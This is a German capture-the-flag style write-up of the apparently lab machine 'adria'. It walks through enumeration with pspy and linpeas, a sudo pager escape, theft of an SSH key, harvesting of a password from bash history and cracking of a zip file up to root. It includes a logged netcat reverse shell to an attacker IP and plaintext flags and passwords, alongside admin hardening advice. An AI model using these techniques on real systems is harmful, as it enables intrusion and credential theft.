Empfehlung (Admin): Capabilities sparsam einsetzen und nur dort, wo sie benötigt werden. Regelmäßig überprüfen, welche Dateien Capabilities gesetzt haben.
/usr/bin/ping cap_net_raw=ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
Analyse: Der Pentester lädt das Tool `pspy64` auf die Zielmaschine herunter und führt es aus. `pspy` ist ein Tool zur Überwachung von Linux-Prozessen ohne Root-Rechte. Es kann gestartete Prozesse, Cronjobs und andere Systemereignisse in Echtzeit anzeigen. * `python3 -m http.server 80`: Startet einen einfachen HTTP-Server auf dem Angreifer-System im Verzeichnis `~/Hackingtools`, um `pspy64` bereitzustellen. * `cd /tmp/`: Wechselt auf der Zielmaschine in das temporäre Verzeichnis `/tmp`. * `wget 192.168.2.199/pspy64`: Lädt `pspy64` vom Angreifer-Server herunter. * `chmod +x pspy64`: Macht die heruntergeladene Datei ausführbar. * `./pspy64`: Startet das Tool.
Bewertung: `pspy` ist ein hervorragendes Tool zur dynamischen Analyse und zum Finden von kurzlebigen Prozessen oder Cronjobs, die bei statischer Analyse (wie `cat /etc/crontab`) übersehen werden könnten. Die Ausgabe zeigt viele Prozesse, darunter die laufenden Apache- und Samba-Prozesse sowie die Prozesse, die zur Reverse Shell gehören. Besonders interessant sind die Zeilen, die mit `CMD: UID=0` beginnen, da sie von Root ausgeführte Prozesse zeigen könnten. Die Zeilen `CMD: UID=33 PID=2797 | su - root -c /tmp/OXHTqEsw` und `CMD: UID=33 PID=2580 | /tmp/euiNW` sind verdächtig, da sie auf temporäre Skripte hindeuten, die möglicherweise privilegiert ausgeführt werden (obwohl hier als UID=33 geloggt).
Empfehlung (Pentester): Die Ausgabe von `pspy` über längere Zeit beobachten, insbesondere auf wiederkehrende Root-Prozesse oder Prozesse, die auf interessante Skripte oder Dateien zugreifen. Die verdächtigen temporären Skripte (`/tmp/OXHTqEsw`, `/tmp/euiNW`) genauer untersuchen, falls sie wieder auftauchen oder Spuren hinterlassen haben.
Empfehlung (Admin): Aktivitäten im `/tmp`-Verzeichnis überwachen. Ausführung von Skripten aus `/tmp` nach Möglichkeit einschränken (`noexec`-Mount-Option). Systemaktivitäten generell protokollieren und auf ungewöhnliche Prozessstarts achten.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.110 - - [26/Apr/2024 16:23:23] "GET /pspy64 HTTP/1.1" 200 -
--2024-04-26 16:23:28-- http://192.168.2.199/pspy64
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[=============================>] 2.94M --.-KB/s in 0.009s
2024-04-26 16:23:28 (312 MB/s) - ‘pspy64’ saved [3078592/3078592]
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2024/04/26 16:23:52 CMD: UID=0 PID=873 | /usr/sbin/smbd --foreground --no-process-group 2024/04/26 16:23:52 CMD: UID=0 PID=872 | /usr/sbin/smbd --foreground --no-process-group 2024/04/26 16:23:52 CMD: UID=0 PID=870 | /usr/sbin/smbd --foreground --no-process-group 2024/04/26 16:23:52 CMD: UID=33 PID=733 | /usr/sbin/apache2 -k start 2024/04/26 16:23:52 CMD: UID=33 PID=732 | /usr/sbin/apache2 -k start 2024/04/26 16:23:52 CMD: UID=33 PID=2467 | /bin/bash 2024/04/26 16:23:52 CMD: UID=33 PID=2466 | python3 -c import pty;pty.spawn("/bin/bash") 2024/04/26 16:23:52 CMD: UID=33 PID=2464 | bash 2024/04/26 16:23:52 CMD: UID=33 PID=2463 | sh -c nc -e /bin/bash 192.168.2.199 4444 2024/04/26 16:23:52 CMD: UID=33 PID=2433 | /bin/bash 2024/04/26 16:23:52 CMD: UID=33 PID=2432 | python3 -c import pty;pty.spawn('/bin/bash') 2024/04/26 16:23:52 CMD: UID=33 PID=2431 | sh -c python3 -c "import pty;pty.spawn('/bin/bash')" 2024/04/26 16:27:08 CMD: UID=33 PID=2819 | ./pspy64 2024/04/26 16:27:08 CMD: UID=0 PID=2812 | 2024/04/26 16:27:08 CMD: UID=0 PID=2811 | 2024/04/26 16:27:08 CMD: UID=0 PID=2810 | 2024/04/26 16:27:08 CMD: UID=0 PID=28 | 2024/04/26 16:27:08 CMD: UID=33 PID=2797 | su - root -c /tmp/OXHTqEsw 2024/04/26 16:27:08 CMD: UID=33 PID=2796 | /bin/sh -c su - root -c /tmp/OXHTqEsw 2024/04/26 16:27:08 CMD: UID=0 PID=2775 | 2024/04/26 16:27:08 CMD: UID=0 PID=27 | 2024/04/26 16:27:08 CMD: UID=33 PID=2580 | /tmp/euiNW 2024/04/26 16:27:08 CMD: UID=0 PID=2559 | 2024/04/26 16:27:08 CMD: UID=33 PID=2467 | /bin/bash 2024/04/26 16:27:08 CMD: UID=33 PID=2466 | python3 -c import pty;pty.spawn("/bin/bash") 2024/04/26 16:27:08 CMD: UID=33 PID=2464 | bash 2024/04/26 16:27:08 CMD: UID=33 PID=2463 | sh -c nc -e /bin/bash 192.168.2.199 4444 2024/04/26 16:27:08 CMD: UID=33 PID=2433 | /bin/bash 2024/04/26 16:27:08 CMD: UID=33 PID=2432 | python3 -c import pty;pty.spawn('/bin/bash') 2024/04/26 16:27:08 CMD: UID=33 PID=2431 | sh -c python3 -c "import pty;pty.spawn('/bin/bash')" 2024/04/26 16:27:08 CMD: UID=0 PID=2428 |
Analyse: Es wird versucht, mit `su` den Benutzer zu wechseln. Zuerst zu `root`, dann zu `adriana`. Beide Versuche scheitern mit "Authentication failure", da das korrekte Passwort nicht eingegeben wird oder nicht bekannt ist.
Bewertung: Dies bestätigt, dass das Passwort `jojo1989`, obwohl es in den Preseed-Dateien für `root` stand, für den direkten `su`-Wechsel nicht funktioniert. Es ist möglich, dass das Passwort nach der Installation geändert wurde oder dass `su root` aus Sicherheitsgründen für `www-data` nicht erlaubt ist. Auch der Wechsel zu `adriana` scheitert, was darauf hindeutet, dass das SMB-Passwort auch hier nicht gilt.
Empfehlung (Pentester): Andere Methoden zur Privilegieneskalation weiter verfolgen (sudo, SUID, Kernel-Exploits, Cronjobs etc.). `su` ist oft nicht der einfachste Weg.
Empfehlung (Admin): Direkten `su root`-Zugriff einschränken. Starke Passwörter verwenden.
Password:
su: Authentication failure
Password:
su: Authentication failure
Password:
su: Authentication failure
Password:
su: Authentication failure
Analyse: Das bekannte Linux-Enumerationsskript `linpeas.sh` wird vom Angreifer-Server heruntergeladen. `linpeas.sh` sucht automatisiert nach häufigen Vektoren für Privilegieneskalation.
Bewertung: Das Herunterladen von Enumerationsskripten wie LinPEAS oder LinEnum ist ein Standardvorgehen nach dem Initial Access. Sie sparen Zeit, indem sie viele der manuellen Enumerationsschritte automatisieren und die Ergebnisse oft farblich hervorheben.
Empfehlung (Pentester): `linpeas.sh` ausführen und die Ausgabe sorgfältig analysieren, insbesondere die rot/gelb hervorgehobenen Bereiche, die auf potenzielle Schwachstellen hindeuten.
Empfehlung (Admin): Überwachung auf das Herunterladen und Ausführen bekannter Hacking-Tools und Enumerationsskripte. Dateisystem-Integritätsprüfungen durchführen.
--2024-04-26 16:29:22-- http://192.168.2.199/linpeas.sh
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=============================>] 808.42K --.-KB/s in 0.003s
2024-04-26 16:29:22 (306 MB/s) - ‘linpeas.sh’ saved [827827/827827]
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den aktuellen Benutzer (`www-data`) aufzulisten. Anschließend werden die Berechtigungen und der Dateityp der gefundenen Datei `/usr/bin/scalar` überprüft.
Bewertung: Das ist ein entscheidender Fund! `sudo -l` zeigt, dass der Benutzer `www-data` den Befehl `/usr/bin/scalar` als Benutzer `adriana` ohne Passwortabfrage (`NOPASSWD`) ausführen darf: `(adriana) NOPASSWD: /usr/bin/scalar` Die Datei `/usr/bin/scalar` ist ein ELF 64-bit Executable und gehört `root`. Der Name "scalar" deutet möglicherweise auf das Git-Projekt "Scalar" hin, ein Tool zur Verwaltung sehr großer Git-Repositories.
Empfehlung (Pentester): Dies ist ein klarer Weg zur horizontalen Privilegieneskalation (von `www-data` zu `adriana`). Untersuchen, wie `/usr/bin/scalar` missbraucht werden kann, um eine Shell als `adriana` zu erhalten. Befehle wie `sudo -u adriana /usr/bin/scalar --help` oder die Suche nach bekannten Schwachstellen oder Befehlsinjektionen in `scalar` (insbesondere in älteren oder spezifischen Versionen) sind angezeigt. GTFOBins könnte hier ebenfalls relevant sein.
Empfehlung (Admin): Sudo-Regeln äußerst restriktiv gestalten. `NOPASSWD` nur in absolut notwendigen Fällen und für sehr spezifische, ungefährliche Befehle verwenden. Sicherstellen, dass Programme, die über `sudo` ausgeführt werden dürfen, keine Shell-Escapes oder Befehlsinjektionen ermöglichen. Unnötige `sudo`-Regeln entfernen.
Matching Defaults entries for www-data on adria:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on adria:
(adriana) NOPASSWD: /usr/bin/scalar
-rwxr-xr-x 1 root root 2170984 Feb 28 2023 /usr/bin/scalar
/usr/bin/scalar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4b2b19d5b9362141a454cd3d7dc94d2f164aefff, for GNU/Linux 3.2.0, stripped
Analyse: Der Pentester nutzt die gefundene `sudo`-Regel aus. `sudo -u adriana /usr/bin/scalar help` führt den `scalar`-Befehl mit dem Argument `help` als Benutzer `adriana` aus.
Bewertung: Erfolg! Anstatt einer Hilfeausgabe gibt `scalar` (oder eine Funktion, die es aufruft) einen `!bash:`-Prompt zurück. Dies ist ein typisches Anzeichen dafür, dass `scalar` einen Pager (wie `less` oder `more`) verwendet, um seine Ausgabe anzuzeigen, und dass dieser Pager erlaubt, externe Befehle auszuführen (oft durch Eingabe von `!` gefolgt vom Befehl). Der Pentester hat hier wahrscheinlich `!bash` eingegeben und dadurch eine Shell als Benutzer `adriana` erhalten. Der Prompt wechselt zu `adriana@adria:/tmp$`, was die erfolgreiche horizontale Privilegieneskalation bestätigt.
Empfehlung (Pentester): Fantastisch! Wir sind jetzt als `adriana` angemeldet. Sofort das Home-Verzeichnis (`cd ~`) untersuchen, insbesondere nach SSH-Keys (`.ssh/`), History-Dateien (`.bash_history`, `.zsh_history`), Konfigurationsdateien und der User-Flag (`user.txt`). Erneut `sudo -l` ausführen, um zu sehen, ob `adriana` weitere `sudo`-Rechte hat, die zur Eskalation zu `root` führen könnten.
Empfehlung (Admin): Programme, die über `sudo` laufen, sorgfältig prüfen. Wenn sie Pager verwenden, sicherstellen, dass diese keine Shell-Escapes erlauben (z.B. durch Setzen der Umgebungsvariable `LESSSECURE=1` für `less`). Idealerweise sollten Programme, die per `sudo` ausgeführt werden, keine interaktiven Pager starten oder Shell-Escapes ermöglichen.
!bash:
Analyse: Als Benutzer `adriana` wird in das Home-Verzeichnis gewechselt (`cd ~`) und dessen Inhalt aufgelistet (`ls -la`).
Bewertung: Die Auflistung zeigt typische Dateien und Verzeichnisse eines Benutzer-Home-Verzeichnisses unter Linux mit Zsh als Shell (`.zshrc`, `.oh-my-zsh`, `.zcompdump*`). Wichtige Funde: * `.ssh/`: Ein Verzeichnis für SSH-Konfigurationen und Schlüssel. * `user.txt`: Die Datei, die wahrscheinlich die User-Flag enthält. Sie hat Lese-/Schreib-/Ausführrechte nur für `adriana`. * `.bash_history`: Enthält Befehle, die mit Bash ausgeführt wurden (obwohl die aktuelle Shell Zsh ist).
Empfehlung (Pentester): Inhalt von `user.txt` auslesen (`cat user.txt`). Das `.ssh`-Verzeichnis untersuchen (`ls -la .ssh`), insbesondere auf private Schlüssel (`id_rsa`) oder `authorized_keys`. Die `.bash_history` durchsehen, ob sie Hinweise auf Passwörter oder interessante Befehle enthält.
Empfehlung (Admin): Sicherstellen, dass sensible Dateien wie Flags oder private Schlüssel korrekte, restriktive Berechtigungen haben (`600` oder `400`).
total 396 drwx------ 5 adriana adriana 4096 Apr 26 14:18 . drwxr-xr-x 3 root root 4096 Nov 6 08:35 .. -rw------- 1 adriana adriana 937 Jan 22 18:15 .bash_history -rw-r--r-- 1 adriana adriana 220 Nov 5 19:53 .bash_logout -rw-r--r-- 1 adriana adriana 3526 Nov 5 19:53 .bashrc -rw------- 1 adriana adriana 45 Jan 22 18:15 .lesshst drwxr-xr-x 3 adriana adriana 4096 Nov 7 19:05 .local drwxr-xr-x 12 adriana adriana 4096 Dec 4 10:39 .oh-my-zsh -rw-r--r-- 1 adriana adriana 807 Nov 5 19:53 .profile drwx------ 2 adriana adriana 4096 Nov 7 19:04 .ssh -rw-r--r-- 1 adriana adriana 169 Jan 22 18:12 .wget-hsts -rw-r--r-- 1 adriana adriana 51810 Jan 22 18:13 .zcompdump-adria-5.9 -r--r--r-- 1 adriana adriana 119912 Jan 22 18:13 .zcompdump-adria-5.9.zwc -rw-r--r-- 1 adriana adriana 51810 Nov 6 08:32 .zcompdump-flossy-5.9 -r--r--r-- 1 adriana adriana 119912 Nov 6 08:32 .zcompdump-flossy-5.9.zwc -rw-r--r-- 1 adriana adriana 3890 Nov 5 19:53 .zshrc -rwx------ 1 adriana adriana 33 Nov 6 08:35 user.txt
Analyse: Der Inhalt der User-Flag und der Bash-History wird angezeigt. * `cat user.txt`: Gibt die User-Flag aus. * `cat .bash_history`: Zeigt die Befehlshistorie des Benutzers `adriana` in der Bash-Shell.
Bewertung: * Die User-Flag lautet `fbd401c3bff5ec92d1ba6f74a2340f0f`. * Die Bash-History ist sehr aufschlussreich! Sie zeigt frühere Aktivitäten des Benutzers `adriana`: * Erstellung von SSH-Schlüsseln (`ssh-keygen`, `cp id_rsa.pub authorized_keys`). Dies deutet darauf hin, dass im `.ssh`-Verzeichnis möglicherweise ein privater Schlüssel (`id_rsa`) liegt. * Verwendung von `pspy64` zur Prozessüberwachung, insbesondere mit Fokus auf `zip` und das Verzeichnis `/opt`. * Ein `su -` Befehl mit einem langen String dahinter: `su - 8eNctPoCh4Potes5eVD7eMxUw6wRBmO`. Dieser String sieht wie ein Passwort aus und könnte das Root-Passwort sein (oder das Passwort für den Benutzer `-` was unwahrscheinlich ist)! Es könnte das Passwort sein, das im Skript `/opt/backup` aus `/root/pass` gelesen wird. * Versuche, `/opt/script` zu untersuchen (Datei existiert nicht?).
Empfehlung (Pentester): Die User-Flag notieren. Den String `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` unbedingt als potenzielles Root-Passwort testen (`su root` oder `sudo`). Das `.ssh`-Verzeichnis auf den privaten Schlüssel `id_rsa` prüfen. Wenn vorhanden, versuchen, ihn herunterzuladen und zu verwenden (eventuell ist er passwortgeschützt).
Empfehlung (Admin): Benutzern beibringen, Passwörter niemals in der Befehlszeile einzugeben (insbesondere nicht mit `su password`), da sie dann in der History landen. History-Dateien sollten geschützt sein. SSH-Schlüssel sicher aufbewahren und mit Passphrasen schützen.
fbd401c3bff5ec92d1ba6f74a2340f0f
clear ls clear cd clear sudo -l cd .ssh ssh-keygen cd .ssh/ clear cp id_rsa.pub authorized_keys clear cat id_rsa clear cd /dev/shm ./pspy64 --help ./pspy64 -i 10 ./pspy64 -i 10 |grep zip clear su - 8eNctPoCh4Potes5eVD7eMxUw6wRBmO su - ./pspy64 -i 10 |grep zip ./pspy64 -i 1 |grep zip clear ./pspy64 -i 1 |grep zip ./pspy64 --help ./pspy64 -i 10 -d /opt ./pspy64 --help ./pspy64 -i 10 -d /opt -f ./pspy64 -i 10 -d /opt -f |grep zip cat /opt/script ./pspy64 -i 10 -d /opt -f |grep "/usr/bin/zip" clear ./pspy64 -i 10 -d /opt -f |grep "/usr/bin/zip" clear ./pspy64 -i 10 -d /opt -f |grep "/usr/bin/zip" ./pspy64 -i 10 -d /opt -d ./pspy64 -i 10 -d /opt --debug clear ./pspy64 -i 10 -d /opt clear ./pspy64 -i 10 -d /opt clear ./pspy64 -i 10 -d /opt c ./pspy64 -i 10 -d /opt
Analyse: Auf dem Angreifer-System werden Tools zur Verarbeitung von SSH-Schlüsseln verwendet. * Es wird angenommen, dass der private Schlüssel `id_rsa` aus dem `.ssh`-Verzeichnis von `adriana` auf das Angreifer-System übertragen wurde (dieser Schritt fehlt im Text). * `john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa`: Versucht, mit John the Ripper und der `rockyou.txt`-Wortliste eine Passphrase für den privaten SSH-Schlüssel `id_rsa` zu knacken. * `ssh2john id_rsa > hash`: Konvertiert den privaten Schlüssel `id_rsa` in ein Format, das John the Ripper versteht, und speichert den Hash in der Datei `hash`.
Bewertung: Der `john`-Befehl meldet "No password hashes loaded", was oft bedeutet, dass das Format nicht direkt erkannt wurde oder die Datei keine verschlüsselten Hashes enthält. Der `ssh2john`-Befehl bestätigt dies explizit: `id_rsa has no password!`. Der private SSH-Schlüssel von `adriana` ist nicht durch eine Passphrase geschützt.
Empfehlung (Pentester): Da der Schlüssel ungeschützt ist, kann er direkt für die SSH-Authentifizierung verwendet werden. Dies bietet einen alternativen Weg, um sich als `adriana` anzumelden, falls die Reverse Shell verloren geht: `ssh adriana@adria.hmv -i id_rsa`.
Empfehlung (Admin): Private SSH-Schlüssel immer mit einer starken Passphrase schützen. Zugriff auf private Schlüsseldateien streng limitieren.
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
id_rsa has no password!
Analyse: Der Pentester meldet sich nun per SSH als `adriana` an, unter Verwendung des ungeschützten privaten Schlüssels (`-i id_rsa`).
Bewertung: Die Anmeldung ist erfolgreich. Der Willkommensbildschirm von Debian und Oh My Zsh wird angezeigt. Der Prompt `╭─adriana@adria ~ \n╰─$` bestätigt die erfolgreiche SSH-Sitzung als `adriana`.
Empfehlung (Pentester): Diese SSH-Sitzung ist stabiler als die vorherige Reverse Shell. Die Suche nach der Root-Eskalation von hier aus fortsetzen. Das Passwort `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` aus der Bash-History mit `su root` testen.
Empfehlung (Admin): SSH-Zugriff überwachen. Key-basierte Authentifizierung bevorzugen, aber sicherstellen, dass die Schlüssel sicher gespeichert und mit Passphrasen geschützt sind.
Linux adria 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64 __ __ ____ / /_ ____ ___ __ __ ____ _____/ /_ / __ \/ __ \ / __ `__ \/ / / / /_ / / ___/ __ \ / /_/ / / / / / / / / / / /_/ / / /_(__ ) / / / \____/_/ /_/ /_/ /_/ /_/\__, / /___/____/_/ /_/ /____/ Hooray! Oh My Zsh has been updated! To keep up with the latest news and updates, follow us on Twitter: https://twitter.com/ohmyzsh Want to get involved in the community? Join our Discord: https://discord.gg/ohmyzsh Get your Oh My Zsh swag at: https://shop.planetargon.com/collections/oh-my-zsh ╭─adriana@adria ~ ╰─$
Analyse: Als `adriana` wird versucht, das Backup-Skript `/opt/backup` mit `sudo -u root` auszuführen. Dies würde das Skript als `root` starten. Es wird nach dem Passwort gefragt (wahrscheinlich für `adriana`, um `sudo` zu nutzen, oder möglicherweise das im Skript abgefragte Passwort). Der Pentester gibt das Passwort `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` aus der Bash-History ein.
Bewertung: Der Versuch schlägt wahrscheinlich fehl, da `adriana` standardmäßig keine `sudo`-Rechte hat, um Befehle als `root` auszuführen (wir haben keine entsprechende Regel in `sudo -l` für `adriana` gesehen). Die lange Ausgabe danach (`adding: var/www/html/...`) sieht jedoch so aus, als hätte das *Skript* selbst das eingegebene Passwort akzeptiert und mit dem Zippen begonnen! Dies impliziert, dass die Passwortabfrage `read -ep "Password: " USER_PASS` im Skript ausgeführt wurde und das eingegebene Passwort mit dem in `/root/pass` übereinstimmte. Es ist unklar, warum das Skript dann als `adriana` lief, wenn `sudo -u root` verwendet wurde – möglicherweise ein Fehler im Logging oder eine unerwartete Interaktion. Wichtiger ist: Das Skript hat das Passwort akzeptiert und eine `/opt/backup.zip` erstellt (oder überschrieben), die mit ebendiesem Passwort verschlüsselt ist.
Empfehlung (Pentester): Auch wenn der `sudo`-Teil unklar ist, hat das Skript bestätigt, dass `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` das korrekte Passwort ist, das auch in `/root/pass` steht. Dieses Passwort sofort mit `su root` testen! Die `/opt/backup.zip` untersuchen (obwohl ihr Inhalt, `/var/www/html`, wahrscheinlich schon bekannt ist).
Empfehlung (Admin): Berechtigungen für Skripte wie `/opt/backup` prüfen. Sicherstellen, dass `sudo`-Regeln korrekt sind und keine unbeabsichtigten Ausführungen erlauben. Die Funktionsweise des Skripts überdenken, um die Preisgabe des Root-Passworts und dessen Wiederverwendung zur Verschlüsselung zu vermeiden.
password: 8eNctPoCh4Potes5eVD7eMxUw6wRBmO
adding: var/www/html/tmp/admin_default/e7ab3b9994205cba3980c07282b263b5ff99aba7.file.breadcrumb.tpl.php (deflated 63%)
adding: var/www/html/tmp/admin_default/2ff3af19bbb0bc6bf33a6877762f337f8f7dc996.file.hooks.tpl.php (deflated 53%)
adding: var/www/html/tmp/admin_default/868cc19f3535539df4a0b5bcac4d1fa9b533e78e.file.index.tpl.php (deflated 87%)
adding: var/www/html/tmp/admin_default/2958d2fade30384edfee8f09579d66e6aa53f2eb.file.notification.tpl.php (deflated 65%)
adding: var/www/html/tmp/admin_default/12f4712028003253392437c75c4ae035d9abb07f.file.blog.tpl.php (deflated 74%)
adding: var/www/html/tmp/admin_default/f49a9efa814098d78e988adf5fa870ae2866b657.file.login.tpl.php (deflated 75%)
adding: var/www/html/favicon.ico (deflated 28%)
adding: var/www/html/backup/ (stored 0%)
adding: var/www/html/backup/.htaccess (stored 0%)
.....
--
.....
total 12M -rwxr-xr-x 1 root root 294 Nov 6 08:35 backup -rw-r--r-- 1 root root 12M Apr 26 16:50 backup.zip
Analyse: Da `adriana` nun Zugriff auf die neu erstellte (oder überschriebene) `backup.zip` hat, wird diese Datei für den Angreifer bereitgestellt. * `python3 -m http.server 8000`: Startet einen HTTP-Server im Verzeichnis `/opt` auf Port 8000. * `wget http://192.168.2.110:8000/backup.zip`: Auf dem Angreifer-System wird die Datei heruntergeladen.
Bewertung: Das Herunterladen der ZIP-Datei ist erfolgreich. Obwohl der Inhalt (`/var/www/html`) wahrscheinlich nicht neu ist, ist die Datei selbst nützlich, da sie mit dem Passwort aus `/root/pass` verschlüsselt ist (wie im `/opt/backup`-Skript gesehen). Dies bietet eine Möglichkeit, das Passwort zu knacken.
Empfehlung (Pentester): Die heruntergeladene `backup.zip` mit einem Tool wie `fcrackzip` oder `zip2john` + `john`/`hashcat` bearbeiten, um das Passwort zu extrahieren. Die `rockyou.txt` oder andere Wortlisten verwenden. Da das Passwort bereits aus der History bekannt ist (`8eN...`), ist dies eher eine Bestätigung, kann aber in anderen Szenarien der Weg sein.
Empfehlung (Admin): Sensible Dateien nicht unverschlüsselt oder mit schwachen/wiederverwendeten Passwörtern auf Servern ablegen. Netzwerk-Segmentierung und Firewalls verwenden, um den Zugriff auf interne Server (wie den Python-HTTP-Server auf Port 8000) zu beschränken.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
backup.zip192.168.2.199 - - [26/Apr/2024 16:54:54] "GET /backup.zip HTTP/1.1" 200 -
--2024-04-26 16:54:48-- http://192.168.2.110:8000/backup.zip
Verbindungsaufbau zu 192.168.2.110:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 12357773 (12M) [application/zip]
Wird in »backup.zip« gespeichert.
backup.zip 100%[=============================>] 11,79M --.-KB/s in 0,02s
2024-04-26 16:54:48 (554 MB/s) - »backup.zip« gespeichert [12357773/12357773]
Analyse: Auf dem Angreifer-System wird `fcrackzip` verwendet, um das Passwort der heruntergeladenen `backup.zip` zu knacken. * `-D`: Dictionary-Modus (Passwörter aus einer Liste probieren). * `-u`: "Use unzip" - Verwendet `unzip` zur Passwortprüfung (oft schneller). * `-v`: Verbose-Modus. * `-p /usr/share/wordlists/rockyou.txt`: Gibt die Wortliste an. * `backup.zip`: Die Zieldatei.
Bewertung: `fcrackzip` ist erfolgreich und findet das Passwort: `8eNctPoCh4Potes5eVD7eMxUw6wRBmO`. Dies bestätigt endgültig, dass das Passwort aus der Bash-History korrekt ist und mit hoher Wahrscheinlichkeit auch das Root-Passwort ist (da es aus `/root/pass` stammt und zum Verschlüsseln der ZIP verwendet wurde).
Empfehlung (Pentester): Das gefundene/bestätigte Passwort verwenden, um mit `su root` Root-Rechte auf dem Zielsystem zu erlangen.
Empfehlung (Admin): Starke, nicht erratbare Passwörter verwenden. Passwort-Cracking durch Komplexitätsanforderungen und Account-Lockouts erschweren.
'var/www/html/' is not encrypted, skipping
'var/www/html/uploads/' is not encrypted, skipping
'var/www/html/uploads/.quarantine/' is not encrypted, skipping
found file 'var/www/html/uploads/.htaccess', (size cp/uc 408/ 656, flags 9, chk 40a8)
found file 'var/www/html/uploads/vtfvazfnkflywvd.phar', (size cp/uc 43/ 31, flags 9, chk 7e20)
'var/www/html/uploads/.tmb/' is not encrypted, skipping
'var/www/html/uploads/a/' is not encrypted, skipping
'var/www/html/uploads/a/admin/' is not encrypted, skipping
'var/www/html/uploads/a/admin/large/' is not encrypted, skipping
'var/www/html/uploads/a/admin/thumbnail/' is not encrypted, skipping
'var/www/html/uploads/a/admin/original/' is not encrypted, skipping
found file 'var/www/html/uploads/a/admin/original/avat_shell.php__19f41.png', (size cp/uc 46/ 34, flags 9, chk 7b8c)
found file 'var/www/html/uploads/a/admin/original/avat_shell.php_.png', (size cp/uc 46/ 34, flags 9, chk 7a57)
found file 'var/www/html/uploads/jrbosqfalbsqzes.phar', (size cp/uc 43/ 31, flags 9, chk 7d93)
found file 'var/www/html/changelog.txt', (size cp/uc 15742/ 49250, flags 9, chk 40a8)
'var/www/html/front/' is not encrypted, skipping
found file 'var/www/html/front/login.php', (size cp/uc 950/ 2099, flags 9, chk 40a8)
found file 'var/www/html/front/registration.php', (size cp/uc 2580/ 10784, flags 9, chk 40a8)
8 file maximum reached, skipping further files
PASSWORD FOUND!!!!: pw == 8eNctPoCh4Potes5eVD7eMxUw6wRBmO
Analyse: Der entscheidende Schritt zur vollständigen Übernahme des Systems. Als Benutzer `adriana` wird `su root` ausgeführt und das zuvor aus der History extrahierte und durch `fcrackzip` bestätigte Passwort `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` eingegeben.
Bewertung: Absolut erfolgreich! Das Passwort wird akzeptiert. Nach einer optionalen Update-Abfrage von Oh My Zsh wechselt der Prompt zu `╭─root@adria /opt \n╰─#`. Der Pentester hat nun vollständige Root-Rechte auf dem Zielsystem `adria.hmv`.
Empfehlung (Pentester): Fantastisch, das Ziel ist erreicht! Als Root: Root-Flag (`/root/root.txt`) auslesen. Persistenz einrichten (falls erforderlich und erlaubt). System gründlich auf weitere interessante Daten oder Konfigurationen untersuchen. Beweise sichern und Bericht schreiben.
Empfehlung (Admin): Das Root-Passwort sofort ändern! Die Quelle des Passwortlecks (Preseed-Datei, Bash-History, unsicheres Backup-Skript) identifizieren und beheben. Sicherstellen, dass Passwörter nicht in Klartext gespeichert oder in History-Dateien landen. Den Zugriff auf das System nach dem Vorfall gründlich untersuchen, um sicherzustellen, dass keine Backdoors hinterlassen wurden.
Password: 8eNctPoCh4Potes5eVD7eMxUw6wRBmO [oh-my-zsh] Would you like to update? [Y/n] y Updating Oh My Zsh ____ / /_ ____ ___ __ __ ____ _____/ /_ / __ \/ __ \ / __ `__ \/ / / / /_ / / ___/ __ \ / /_/ / / / / / / / / / / /_/ / / /_(__ ) / / / \____/_/ /_/ /_/ /_/ /_/\__, / /___/____/_/ /_/ /____/ Hooray! Oh My Zsh has been updated! To keep up with the latest news and updates, follow us on Twitter: https://twitter.com/ohmyzsh Want to get involved in the community? Join our Discord: https://discord.gg/ohmyzsh Get your Oh My Zsh swag at: https://shop.planetargon.com/collections/oh-my-zsh ╭─root@adria /opt ╰─#
pass root.txt
3a61b172fd39402aa96b1653a18e38a1
8eNctPoCh4Potes5eVD7eMxUw6wRBmO